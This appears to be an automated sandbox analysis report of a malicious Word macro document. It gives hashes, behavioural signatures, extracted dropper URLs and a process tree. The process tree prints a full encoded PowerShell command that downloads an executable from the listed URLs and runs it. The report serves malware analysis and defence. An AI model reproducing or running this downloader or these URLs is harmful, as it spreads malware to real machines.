Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    01/06/2024, 02:08

General

  • Target

    8912b50be830b8195cbb2c256c46548c_JaffaCakes118.doc

  • Size

    158KB

  • MD5

    8912b50be830b8195cbb2c256c46548c

  • SHA1

    24fa07a55baf910692347a353c7eedf1d735f2cd

  • SHA256

    c3398d0143d68598160025f752138b7d986b35d277e83d05c6afeca8f7cced55

  • SHA512

    f6f9a6e9c25b6394f4323135eef921dda37483a658fac7c7c64900a57e6e04e3df71c1a7d533720412abf8e59307ffab54403c10ef2710271b7299708b006ea2

  • SSDEEP

    1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a9xxRiqLE8ct2PU7eXKSSxH5ppJxQFWp:+0rfrzOH98ipg5kJxQFWp

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://77yxx.com/b5rh/bZxS/

exe.dropper

http://shahramookht.com/t1k12k7t/8jq/

exe.dropper

http://www.aciitaly.com/adminer-master/gkI/

exe.dropper

https://codelta.es/images/9S35FR/

exe.dropper

https://burstoutloud.com/PPL/Hf/

exe.dropper

https://targetin.com/Silder-1/naK/

exe.dropper

http://dbestfishing.com.sg/67s/wfe/

Signatures

  • Blocklisted process makes network request 11 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8912b50be830b8195cbb2c256c46548c_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2340
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQBpAEgAaABhAF8AbABcAGYAcQBGAEsAYgBxADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAUgBJAHQAeQBgAFAAYABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABGAF8AegB3AGYAcgBrACAAPQAgACgAKAAnAEgAJwArACcAcwByADcAdwAnACsAJwBtACcAKQArACcAaAAnACsAJwBkAHQAJwApADsAJABRAGQANABnAHkAMwBnAD0AKAAnAEgAbwAnACsAJwBnADEAJwArACgAJwAwAHYAJwArACcAeQAnACkAKQA7ACQAQgA1ADEANQB1ADAAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE8AJwArACcAZwBpAFUAaQAnACkAKwAoACcAaABoAGEAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBPAGcAaQAnACkAKwAoACcARgBxACcAKwAnAGYAawAnACsAJwBiAHEANABPACcAKQArACcAZwBpACcAKQAgAC0AcgBFAFAAbABhAGMAZQAgACgAJwBPACcAKwAnAGcAaQAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQARgBfAHoAdwBmAHIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBfAHEAbABiADEANgA9ACgAKAAnAFoAJwArACcAdABfADkAJwApACsAJwBrADAAJwArACcAdQAnACkAOwAkAFMANgBfAG4AbgA3AGEAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAFQAeAAyADMAXwBhAGQAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwA3ACcAKQArACcANwAnACsAKAAnAHkAJwArACcAeAB4ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAYgAnACkAKwAoACcANQByACcAKwAnAGgALwBiAFoAeABTACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACkAKwAnAGgAYQAnACsAKAAnAGgAcgAnACsAJwBhAG0AbwBvACcAKwAnAGsAaAB0ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdAAnACsAJwAxAGsAJwApACsAKAAnADEAMgBrACcAKwAnADcAJwApACsAJwB0AC8AJwArACgAJwA4ACcAKwAnAGoAcQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHcAdwB3AC4AYQBjACcAKwAnAGkAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAeQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwBlAHIALQBtAGEAcwAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAHIALwBnAGsAJwApACsAJwBJACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAnADoAJwArACgAJwAvAC8AYwAnACsAJwBvACcAKQArACgAJwBkAGUAbAB0ACcAKwAnAGEAJwApACsAJwAuACcAKwAoACcAZQAnACsAJwBzAC8AJwApACsAJwBpACcAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAOQBTADMANQAnACsAJwBGAFIAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwAHMAOgAvAC8AYgAnACsAJwB1AHIAJwArACcAcwAnACsAJwB0AG8AdQAnACkAKwAoACcAdAAnACsAJwBsAG8AdQBkACcAKwAnAC4AYwBvAG0ALwBQAFAATAAvAEgAZgAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB0AGEAJwApACsAKAAnAHIAZwAnACsAJwBlAHQAaQAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AUwBpACcAKQArACgAJwBsAGQAZQByAC0AMQAvACcAKwAnAG4AYQAnACsAJwBLAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwBkACcAKwAnAGIAJwArACcAZQBzAHQAZgBpAHMAJwApACsAKAAnAGgAaQBuACcAKwAnAGcALgBjAG8AbQAnACsAJwAuACcAKwAnAHMAZwAnACkAKwAoACcALwA2ADcAJwArACcAcwAvAHcAJwApACsAKAAnAGYAZQAnACsAJwAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEANgB2AHIAXwBhAG8APQAoACgAJwBWACcAKwAnAHQAaABoACcAKQArACgAJwAyACcAKwAnAHYAdQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAdgB4AGkAZAA1AHQAIABpAG4AIAAkAFQAeAAyADMAXwBhAGQAKQB7AHQAcgB5AHsAJABTADYAXwBuAG4ANwBhAC4AIgBEAE8AVwBOAGAATABvAGEAYABkAEYASQBgAEwAZQAiACgAJABLAHYAeABpAGQANQB0ACwAIAAkAEIANQAxADUAdQAwAHIAKQA7ACQARgBpAG0AaQB5AGgAawA9ACgAKAAnAEcAdQAnACsAJwBoACcAKQArACgAJwBmACcAKwAnADQAagB0ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEIANQAxADUAdQAwAHIAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYANgA1ADMAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAQgA1ADEANQB1ADAAcgApADsAJABaAHoAZABhAGcAcABhAD0AKAAnAFIAJwArACgAJwBzACcAKwAnAHQAdAAnACkAKwAoACcAeQAnACsAJwB0AG8AJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAegBjAHgAbQB1ADUAPQAoACgAJwBSACcAKwAnAGkAcAAnACkAKwAoACcANABqACcAKwAnADAAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBuADIANwBxADYAYgA9ACgAJwBJAHgAJwArACgAJwBfADEAMgBuACcAKwAnAHYAJwApACkA
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2692

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            11f35162767861f07cc35187fe73caee

            SHA1

            92c4ce56ac690af35cd34d241ef4490939aab187

            SHA256

            378f5cc7c39dee86817c8ebd5977d43a39da1a99676b893d87a5cf2dcc8b2a8f

            SHA512

            7459db53d9f0a8994deb3fcd53c4b8fa77f1372bdf9935ba29ec1b7d0d701e05a0453d79e9d240a3ff43834c09795f62fc2aca86e8328fd86049465d5c01a833

          • memory/2240-17-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-23-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-6-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-7-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-8-0x0000000005D20000-0x0000000005E20000-memory.dmp

            Filesize

            1024KB

          • memory/2240-12-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-9-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-10-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-11-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-15-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-14-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-13-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-16-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-20-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-0-0x000000002F2D1000-0x000000002F2D2000-memory.dmp

            Filesize

            4KB

          • memory/2240-22-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-21-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-19-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-2-0x0000000070D0D000-0x0000000070D18000-memory.dmp

            Filesize

            44KB

          • memory/2240-18-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-30-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-25-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-24-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-33-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-31-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-27-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-29-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-28-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-32-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-26-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-34-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-69-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-68-0x0000000070D0D000-0x0000000070D18000-memory.dmp

            Filesize

            44KB

          • memory/2240-46-0x0000000070D0D000-0x0000000070D18000-memory.dmp

            Filesize

            44KB

          • memory/2240-48-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-49-0x0000000000590000-0x0000000000690000-memory.dmp

            Filesize

            1024KB

          • memory/2240-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2240-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2692-41-0x00000000027E0000-0x00000000027E8000-memory.dmp

            Filesize

            32KB

          • memory/2692-40-0x000000001B630000-0x000000001B912000-memory.dmp

            Filesize

            2.9MB